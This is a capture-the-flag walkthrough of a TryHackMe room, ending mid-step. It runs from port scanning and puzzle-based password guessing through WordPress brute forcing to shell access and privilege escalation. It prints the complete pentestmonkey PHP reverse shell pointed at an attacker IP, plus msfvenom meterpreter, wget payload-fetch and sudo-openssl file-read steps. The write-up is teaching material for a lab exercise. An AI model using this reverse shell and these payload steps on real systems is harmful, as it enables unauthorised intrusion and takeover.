f1r5tb0x
My First box - Challenge
IMP *** NOTE ***
It is my first own room created on tryhackme, i hope u will enjoy it. and yes plz provide your feedback at discord id 'MackSono#0899'.
In this write up, I will crack this machine as its meant to be (official way). but if anyone done with other way then I would be very happy (plz also share with me).
the Machine will take almost 10 min. to fully boot up, so be patient. (sorry for this much time)
PORTS eXploration / Discovery

first lets do portscan on the ip :-
// using my custom file to scan but ultimately i am using rustscan tool
// my custom file contents
$ cat ~/custom_tools/portscan/rust
#!/bin/bash
/usr/bin/rustscan -b100 --ulimit=5000 -a $ip -r 1-10000 -- -Pn -A && /usr/bin/rustscan -b100 --ulimit=5000 -a $ip -r 10000-60000 -- -Pn -A
// portscan result :-
$ ~/custom_tools/portscan/rust
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/maay/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.51.150:80
Open 10.10.51.150:22
Open 10.10.51.150:1820
Open 10.10.51.150:1819
PORT STATE SERVICE REASON VERSION
22/tcp open ssh? syn-ack
| fingerprint-strings:
| GenericLines:
|_ HVoz|(Q3
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
1819/tcp open plato-lm? syn-ack
1820/tcp open mcagent? syn-ack
2. We found 2 common ports (22,80) and 2 uncommon ports (1819,1820). Lets start to check each one of them. Starting with uncommon ports.
PORTS 1819,1820
// using netcat to interact with ports
$ nc $ip 1819
########################################################################################
A - Hi K,
K - Hi!
A - You know, I released My 1st machine on tryhackme.com. You have to help me, creating it.
K - Sure...
---- NeXt dAy ----
A - Hello K,
K - Oh Hi A!
A - Actually I am confused that What Should I set the password for the port xxxx?
K - Very Simple!, Make the password from one of your favorites and then mix some words related to it.
A - Good Idea!, I will go with My fav game series "Ubisoft AC Series".
K - But Will u go with All its games or a single game?
A - Obviously single game, that game which was developed by Ubisoft xxxxxx Studio, It is situated in a CANADIAN CITY. The city's name is very interesting as It just pronounce like "cubic" and one more fact about the city is that this city is also one of the "Capital City of the Canadian province"
K - So much info, thanks, sir...
##########################################################################################
By The Way, I can tell u a hint regarding the password on the xxxx port. But You have to promise You won't tell to K.
Ok So here's the HINT:-
"The password on 'port 1820' is a Combination of My Fav Game's Character Name & Release Date of Game", like:- "jake1dec2021"
NOTE:- The password which I made is very easy so I encrypted it with "base64", so don't forget to encrypt your password with base64 first then submit.
On port 1819, We get a big paragraphs containing 2 things (conversation bw 'A' & 'K') & (Note from 'A').
By reading the conversation between 'A' & 'K', we can conclude that 'A' is creating a machine for tryhackme and he sets a password on a port. the password is inspired via A's fav game related to "Ubisoft's AC Series".
By reading the Note from 'A', we came to know that he set the password for port 1820, a combination of His fav game's CHARACTER NAME & DATE OF RELEASE of the game. He also encrypted the password (made with combination) with base64 so that his password become strong.
// Lets check out port 1820
$ nc $ip 1820
Password : ?
Password is Incorrect!
It is password protected as told via message on port 1819. For getting the password we have to find A's fav game. Lets do some googling with the help of hints provided via port 1819 message.

from the result of google, We can guess which city "A" is talking about as He told that it pronounce like 'cubic' and in the above city list we got "?u??ec" city which is matching the feature provided by "A".
Lets see Is there any Ubisoft Studio in ?u??ec city ?

Lets check What games are developed by this studio, which belongs to "AC Series" (By the way, "AC" stands for "Assassin's Creed").

Through the info on Wikipedia Page of the studio, We found 2 games of "Assassin's Creed Series" which is developed by this studio. Now lets get Main Character NAME & Release date of these 2 games in order to form passwords (obviously we will get more than 1 password as there more than 1 game)




NOTE :- "There is possibility that more than 2 release dates found of same game on Wikipedia becoz of multiple platforms releases. but there's no need to go much deeper for now , only take those information which are appearing first after google search".
from all info we got these passwords form :-
Password - Base64 encoded
jxxxb23oct2xx5 - amFjb2xxxxxxxxxxxxxx
exxe23oct2xx5 - ZXZpZTxxxxxxxxxxxxxx
alxxxos2oct2xx8 - YWxleGxxxxxxxxxxxxxx
kasxxxxra2oxxxx18 - a2Fzc2Fuxxxxxxxxxxxxxxxx
alxxxos1oct2xx8 - YWxleGxxxxxxxxxxxxxx
kasxxxxra1oxxxx18 - a2Fzc2Fuxxxxxxxxxxxxxxxx
NOTE :- "For encoding your combined string to base64, use online tools like dcode.fr, Cyber Chef etc... instead of base64 tool of Kali's kernel becoz sometime It add an unwanted base64 encoded string after our actual encoded value". Proof Of Concept :-
// by dcode.fr (CORRECT)
123 - MTIz
// by kali (WRONG)
┌──(maay㉿thmmaay)-[~/tryhackme/f1r5tb0x]
└─$ echo "123" | base64
MTIzCg==
// You can notice the difference -> "Cg==".
Lets try each password on port 1820 :-
amFjb2xxxxxxxxxxxxxxx(Password is Incorrect!)
ZXZpZTxxxxxxxxxxxxxxx(Password is Incorrect!)
etc..
Correct Password -> 'xxxxxxxxxxxxxxxx'
$ nc $ip 1820
Password : xxxxxxxxxxxxxxxx
Password is Correct,
Oh! You found my secret dir - 'dDRzMzY0xxxxxxxxxxxxxxxxxxxxxxxxx'
Don't Misuse it's <strong>Name</strong>
We got a hidden dir name "dDRzMzY0xxxxxxxxxxxxxxxxxxxxxxxxxxxx" with a strange note "Don't Misuse it's <strong>Name</strong>".
Lets checkout 2 common ports :-
PORTS 22,80
// Port 22
$ nc $ip 22
Nothing come out after several minutes, lets switch to another terminal till its any response come
// Port 80

Nothing much found in its source also, lets start a dirfuzzing on this url in another terminal , till we can try to access the secret dir which we found earlier.
(Bytheway, this is the result i got after running 'nc $ip 22' for several minutes)
$ nc $ip 22
pF1%snfB=85CcJ.o
Sl0ze'p`n)Q.}%y~24D&-}
QLZ=[JNyhlk&"@I]>ZK'p-pHl+
g
u=?ZSi@"$cjcBQDsC)dxzhm@
jAkLhoQ7mU
x
!ee*UBWEFQzg6O5
2 0zv4peT_a?:HQ<a
d3e\ B1Bt=%Cf2`T/uQL2N2%
ye^pUd$L]0[JkIv+RFq>&"
^\-6#wlJ4DroQN>(1cqG3Z
6~kl#sh*z|ZUDf4k,$x-ib&F
etc..
// This Proves that it is rabbithole
Web Part 1 - Get Authentication

What! again , We need again a valid credential for accessing this dir. (?_?)
But wait, Remember the note from port 1820 "Don't Misuse it's <strong>Name</strong>", It forces more on NAME means name of the secret dir.
The Name of the dir, also looks more suspicious now, as like a HASH. HASH, yes It is possible lets go to dcode.fr's Cipher Identifier :-

Hmm, It predicts 'Base 64' encoding, So lets try base64 decoder :-

The result is fine!, looks like 'dcode.fr' predicts right.
But still we are few steps more to our desired result, lets use again Cipher Identifier with the result we got above :-

Hmm, the first cipher , we got, have very less probability of correct encoding (if compare with prev results).
Even After trying each one of them (in the above result), NOTHING FOUND !
Lets take a look on HINT of Q2 of this machine :-
""" (Before base64 encoding) the encoding which I used can be found on "dcode.fr full tool list" -> "Cryptography" -> "substitution cipher list" and that hash start with the "M" letter. """
OK, We got some info about the encoding which was used to encrypt GET AUTHENTICATION CREDENTIALS before base64. Then lets go start with dcode.fr's tool list :-

I made a list of encodings according to that hint :-
// list
Machine
Morse
Malespin
Mono-alphabetic
Morse
Music
Multiplication
Message)
Maria
After trying some of the encodings from the list, I found this :-

Yay! We got the creds, lets try this :-

We can also answer Q2 now -> "2-base??-M?????"
Web Part 2 - Get Parameter
Strange, its index page is empty, only one symbol is there, which is "?".
Trying dirfuzzing in another terminal till we can do parameter fuzzing on this url :-
# dirfuzzing cmd
$ /usr/bin/rustbuster dir -e php,txt,html,bak,zip,rar,config,old -t40 -w /usr/share/dirb/wordlists/common.txt -u "http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/" 2>/dev/null
# parameter fuzzing through 'arjun' tool and remember this dir is protected via GET auth so we have to use that valid creds in url itself
$ arjun -w ~/wordlists/parameter_list/burpsuite_parameter_list -u "http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/"
_
/_| _ '
( |/ /(//) v2.1.41
_/
[*] Probing the target for stability
[*] Analysing HTTP response for anamolies
[*] Analysing HTTP response for potential parameter names
[*] Logicforcing the URL endpoint
[✓] name: ???r?t, factor: http header
Found a juicy parameter - '???r?t', lets try to insert a test value in it :-

an Easy Question appear, as we already know the answer (Through Our Previous Research on those BOTH Games). Then lets give it :-

We got another name of hidden dir - '?0?d???s?'.
NOTE :- Bytheway nothing interesting found in "DIRECTORY FUZZING".
Web Part 3 - Admin Creds & login
lets take a look on the dir, we found :-

Oh It is an WordPress site, means 'wpscan' tool will come handy here.
I tried here dirfuzzing but no special results (again) :-
// using rustbuster tool
┌──(maay㉿thmmaay)-[~/tryhackme/f1r5tb0x]
└─$ /usr/bin/rustbuster dir -e php,txt,html,bak,zip,rar,config,old -t40 -w /usr/share/dirb/wordlists/common.txt -u "http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/" 2>/dev/null
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~
[?] Started at : 2022-01-02 04:41:05
GET 301 Moved Permanently http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/index.php
=> http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/
GET 301 Moved Permanently http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/index.php
=> http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/
GET 200 OK http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/license.txt
GET 200 OK http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/readme.html
GET 301 Moved Permanently http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-admin
=> http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-admin/
GET 200 OK http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-blog-header.php
GET 200 OK http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-config.php
GET 301 Moved Permanently http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-content
=> http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-content/
GET 200 OK http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-cron.php
GET 301 Moved Permanently http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-includes
=> http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-includes/
GET 200 OK http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-links-opml.php
GET 200 OK http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-load.php
GET 403 Forbidden http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-mail.php
GET 200 OK http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-login.php
GET 500 Internal Server Error http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-settings.php
GET 302 Found http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-signup.php
=> http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-login.php?action=register
GET 200 OK http://b4s364??????????:My5uP???????@$ip/dDRzMzY0???????????????/wp-trackback.php
// found only general wordpress pages
So lets jump directly to admin login page, & run 'wpscan' tool to get login creds :-
┌──(maay㉿thmmaay)-[~/tryhackme/f1r5tb0x]
└─$ wpscan --url "http://10.10.91.135/dDRzMzY0????????????????????????????????????????/w???????5/" --headers "Authorization: Basic YjRzMzY0????????????????????????????????????????" -e u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.20
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://10.10.91.135/dDRzMzY0????????????????????????????????????????/w???????5/ [10.10.91.135]
[+] Started: Sun Jan 2 04:47:18 2022
// Interesting Result :-
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <=========================> (10 / 10) 100.00% Time: 00:00:01
[i] User(s) Identified:
[+] ?????
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://10.10.91.135/dDRzMzY0????????????????????????????????????????/w???????5/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
// 1 user found :-)
Lets try to brute force passwd also,
NOTE - It is clearly written in description of this room that "Choose Brute force only, when u get a login form, not on anything else", so we can brute force here.
For Brute forcing the login page, we can use either "THC Hydra" or "WPScan" tool.
// using wpscan tool again
wpscan --url "http://b4s364????????:My5uP???????@$ip/dDRzMzY0??????????????/?0?dP????/" -U ????? -P /usr/share/wordlists/rockyou.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.18
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
// Interesting Result
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - ????? / ro??????ho
Trying ????? / jolly1 Time: 00:01:47 < > (3385 / 14345777) 0.00% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: ?????, Password: ro??????ho
// found a valid credentials :-)
Lets login now to 'wp-login.php' with these creds :-


Web Part 4 - Getting 1st Shell
Lets Start working on getting shell.
NOTE :- "There are various ways to get a reverse shell from admin dashboard".
I am using the shortest way to get a reverse shell. By modifying the content of 'index.php' page to a popular pentest monkey's php reverse shell code.
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely availa ble.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = isset($_POST['ip']) ? $_POST['ip'] : '10.17.7.71'; // CHANGE THIS
$port = isset($_POST['port']) ? $_POST['port'] : '4444'; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Location of index.php template :-

Lets start netcat listener before modifying the content
┌──(maay㉿thmmaay)-[~/tryhackme/f1r5tb0x]
└─$ nc -nlvp 4444
listening on [any] 4444 ..
Changing the content of 'index.php' :-

Received Shell :-
┌──(maay㉿thmmaay)-[~/tryhackme/f1r5tb0x]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.17.7.71] from (UNKNOWN) [10.10.91.135] 47114
Linux f1r5tb0x 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
10:53:36 up 2:09, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Priv Escalation - 1
How many regular users are there in this system? (lets find out)
www-data@f1r5tb0x:/$ ls -la /home
ls -la /home
total 32
drwxr-xr-x 5 root root 4096 Nov 24 12:28 .
drwxr-xr-x 20 root root 4096 Nov 25 06:57 ..
drwx------ 7 alexios alexios 4096 Nov 25 07:48 alexios
drwx------ 2 root root 16384 May 2 2020 lost+found
drwx------ 8 ????xes ????xes 4096 Nov 26 05:02 ????xes
www-data@f1r5tb0x:/$ cat /etc/passwd
// with above command, found 3 users with bash shell :-
root:x:0:0:root:/root:/bin/bash
????xes:x:1000:1000:????xes.org,,,:/home/????xes:/bin/bash
alexios:x:1001:1001:alexios,x,x,x,x:/home/alexios:/bin/bash
// for clearing the screen/terminal
www-data@f1r5tb0x:/$ export TERM=xterm
// now we can clear our terminal with "clear" command
www-data@f1r5tb0x:/$ clear
At this point, There is an hint provided by (Creator of this room) - "Try some information gathering on usernames of the system".
About two usernames, we already know - root & alexios.
Only one username left - "????xes". (Bytheway If u had done downloading various types of vm in a system then u somewhere hear this username)
Lets do some googling again :-

We got a site with the username, lets check it out.
After bit of surfing the site, We came to know that this site provide vm images for virtual box and vm ware. Then i google this "????xes credentials" & found this :-

Wow! found 1 password, lets try this on shell
www-data@f1r5tb0x:/$ su ????xes
su ????xes
Password: ????xes.org
????xes@f1r5tb0x:/$ id
id
uid=1000(????xes) gid=1000(????xes) groups=1000(????xes),4(adm),24(cdrom),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
We escalated our privileges once👍.
// Grabbing 1st flag
????xes@f1r5tb0x:/$ cd ~
cd ~
????xes@f1r5tb0x:~$ ls -l
ls -l
total 4
-rwx------ 1 ????xes ????xes 27 Nov 24 12:37 flag.txt
????xes@f1r5tb0x:~$ cat flag.txt
cat flag.txt
thm{????????????????????????}
Priv Escalation - 2
Before going further, We can improvise our shell like from basic reverse shell to a meterpreter shell. For that ,First we have to generate a meterpreter payload file via msfvenom :-
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.17.7.71 lport=4445 -f elf -o shell.elf
Now we have to transfer this 'shell.elf' to the victim machine. I am doing this with the help of 'Python3 HTTP Web Server' :-
// file permission
┌──(maay㉿thmmaay)-[~/tryhackme/f1r5tb0x]
└─$ ls -la shell.elf
-rwx------ 1 maay maay 250 Dec 31 13:09 shell.elf
// python3 web server
┌──(maay㉿thmmaay)-[~/tryhackme/f1r5tb0x]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
// transfering shell.elf
????xes@f1r5tb0x:~$ pwd
/home/????xes
????xes@f1r5tb0x:~$ wget 10.17.7.71:8000/shell.elf
--2022-01-02 14:47:23-- http://10.17.7.71:8000/shell.elf
Connecting to 10.17.7.71:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 250 [application/octet-stream]
Saving to: ‘shell.elf’
0K 100% 27.0M=0s
2022-01-02 14:47:24 (27.0 MB/s) - ‘shell.elf’ saved [250/250]
// permissions of 'shell.elf'
????xes@f1r5tb0x:~$ chmod 777 shell.elf
Now We have to start metasploit listener :-
// starting msfconsole
┌──(maay㉿thmmaay)-[~/tryhackme/f1r5tb0x]
└─$ msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.17.7.71
lhost => 10.17.7.71
msf6 exploit(multi/handler) > set lport 4445
lport => 4445
msf6 exploit(multi/handler) > exploit -jz
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.17.7.71:4445
// checking jobs
msf6 exploit(multi/handler) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler linux/x64/meterpreter/reverse_tcp tcp://10.17.7.71:4445
Now final move -> executing the 'shell.elf' :-
????xes@f1r5tb0x:~$ ./shell.elf
// recvd meterpreter shell
[*] Sending stage (3012548 bytes) to 10.10.72.59
[*] Meterpreter session 1 opened (10.17.7.71:4445 -> 10.10.72.59:49684 ) at 2022-01-02 10:00:17 -0500
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux ????xes @ 10.10.72.59 10.17.7.71:4445 -> 10.10.72.59:49684 (10.1
0.72.59)
// opening meterpreter shell
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: ????xes
// normal shell via meterpreter :-
meterpreter > shell
Process 1255 created.
Channel 1 created.
whoami
????xes
// it is a proper shell but we cann't run some cmds here like sudo, su etc..
// so we have to get little bit more upgraded shell.
// we can get it via python
python3 -c "import pty;pty.spawn('/bin/sh')"
$ whoami
????xes
NOTE - """ I encourage you to find a way to escalate your privilege to get 'alexios' shell on your own, but if stuck then proceed to read this ;-) """
Now we have to escalate to 'alexios' shell.
// My list of cmds to ease the basic privilege escalation :-
┌──(maay㉿kali)-[~/tryhackme/f1r5tb0x]
└─$ cat ~/custom_tools/linux_escalation_basic_attempts
# 1) checking cmds run from sudo as root
sudo -l
# 2) checking cron jobs
/etc/crontab
crontab -l
# 3) find exported files or dir
/etc/exports
# 4) find all suid & sgid bits files
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
OR use '/home/maay/git_tools/SUID3NUM/suid3num.py'
# 5) checking capabilities
getcap -r / 2>/dev/null
# 6) checking if version is vulnerable / outdated
uname -a
sudo -V
OR use '/home/maay/git_tools/linux-exploit-suggester/linux-exploit-suggester.sh'
# 7) using priv esca scripts
/home/maay/hack_help/linux_escalation_help/other_options/privesc-scripts/linpeas.sh
/home/maay/hack_help/linux_escalation_help/other_options/privesc-scripts/LinEnum.sh
/home/maay/hack_help/linux_escalation_help/other_options/privesc-scripts/lse.sh
# 8) checking connections
netstat -ntpl
# 9) checking more websites
## NOTE :- 'the below file is default configuration file for apache available sites, its imp to know becoz it is possible that there are more than 1 website'
cat /etc/apache2/sites-available/000-default.conf
# 10) checking files owned by diff groups :-
## a) by users :-
find / -user <usr> -perm -o=r 2> /dev/null
## b) by groups :-
find / -group <grp> -perm -o=r 2> /dev/null
### NOTE :- "-o=r" means u only wants that files with read permission for that user/group
#### OR
find / -group <grp> 2> /dev/null
find / -user <usr> 2> /dev/null
From above written commands, one command will help us to get alexios shell. Which is :-
$ sudo -l
sudo -l
Matching Defaults entries for ????xes on f1r5tb0x:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ????xes may run the following commands on f1r5tb0x:
(alexios) NOPASSWD: /usr/bin/openssl enc -in *
We can run this cmd "/usr/bin/openssl enc -in *" as alexios.
Lets find whats "gtfobins" have for "openssl" :-

While checking openssl on "gtfobins", found the same command which we can run as "alexios". (the above image depict this). This means we can read any file which is owned by "alexios".
First lets find files owned by alexios :-
$ find / -user alexios -type f 2>/dev/null
// nothing found
$ find / -group alexios -type f 2>/dev/null
/?/.s3??3??_ju??y
/?/31_??_20??_17_??_PM_s??t?m.log
Found 2 files - .s3??3??_ju??y & 31_??_20??_17_??_PM_s??t?m.log.
Lets now see permission of these file and If we are able read these files then we will :-
// permissions
$ ls -l /?/.s3??3??_ju??y
-rwxr-x--- 1 root alexios 70 Nov 25 06:57 /?/.s3??3??_ju??y
$ ls -l /?/31_??_20??_17_??_PM_s??t?m.log
-rwxr-x--- 1 root alexios 6751 Nov 25 07:08 /?/31_??_20??_17_??_PM_s??t?m.log
// now we are going to read those files :-
$ sudo -u alexios openssl enc -in /?/.s3??3??_ju??y
# My secret place to hide password | :-)
alexios : 8#{????Uk2???6K
Yeah! we found the password for 'alexios', then lets escalate our privilege :-
$ su alexios
su alexios
Password: 8#{????Uk2???6K
su: Authentication failure
What! wrong password, oh this is wrong, but it is true.
But wait, One file is remaining to read. We can find something there :-
$ sudo -u alexios openssl enc -in /?/31_??_20??_17_??_PM_s??t?m.log
/x86_64-linux/2.7.0/io-console-0.5.9/mkmf.log
"x86_64-linux-gnu-gcc -o conftest -I/usr/include/x86_64-linux-gnu/ruby-2.7.0 -I/usr/include/ruby-2.7.0/ruby/backward -I/usr/include/ruby-2.7.0 -I. -Wdate-time -D_FORTIFY_SOURCE=2 -g -O2 -ffile-prefix-map=/build/ruby2.7-Zp7I7j/ruby2.7-2.7.4=. -fstack-protector-strong -Wformat -Werror=format-security -fPIC conftest.c -L. -L/usr/lib/x86_64-linux-gnu -L. -Wl,-z,relro -Wl,-z,now -fstack-protector-strong -rdynamic -Wl,-export-dynamic -lruby-2.7 -lm -lc"
checked program was:
/* begin */
1: #include "ruby.h"
2:
3: int main(int argc, char **argv)
4: {
5: return !!argv[argc];
6: }
/* end */
etc ...
This file does not look suspicious at first sight, but if u look clearly on its content u will find something useful. I am not showing next step becoz already gave you a big HINT. 👍.
Sorry I was joking, I am covering this part also :-) :-
// carefully look at content of the file once :-
$ sudo -u alexios openssl enc -in /?/31_??_20??_17_??_PM_s??t?m.log
// after that u will notice an interesting line there :-
$ sudo -u alexios openssl enc -in /?/31_??_20??_17_??_PM_s??t?m.log | grep hint
/* hint :- 'the passwd u got for alexios is encrypted with "Vignere cipher", refer to msg on port 1819 for key to decrypt the passwd' */
Hmm another encryption, 'dcode.fr' will again come handy. Lets take that encrypted passwd to Vignere cipher. But we need to find 'key' for decrypting that encrypted passwd and for that we again need to look in "Port 1819's Message"
// port 1819
########################################################################################
A - Hi K,
K - Hi!
A - You know, I released My 1st machine on tryhackme.com. You have to help me, creating it.
K - Sure...
---- NeXt dAy ----
A - Hello K,
K - Oh Hi A!
A - Actually I am confused that What Should I set the password for the port xxxx?
K - Very Simple!, Make the password from one of your favorites and then mix some words related to it.
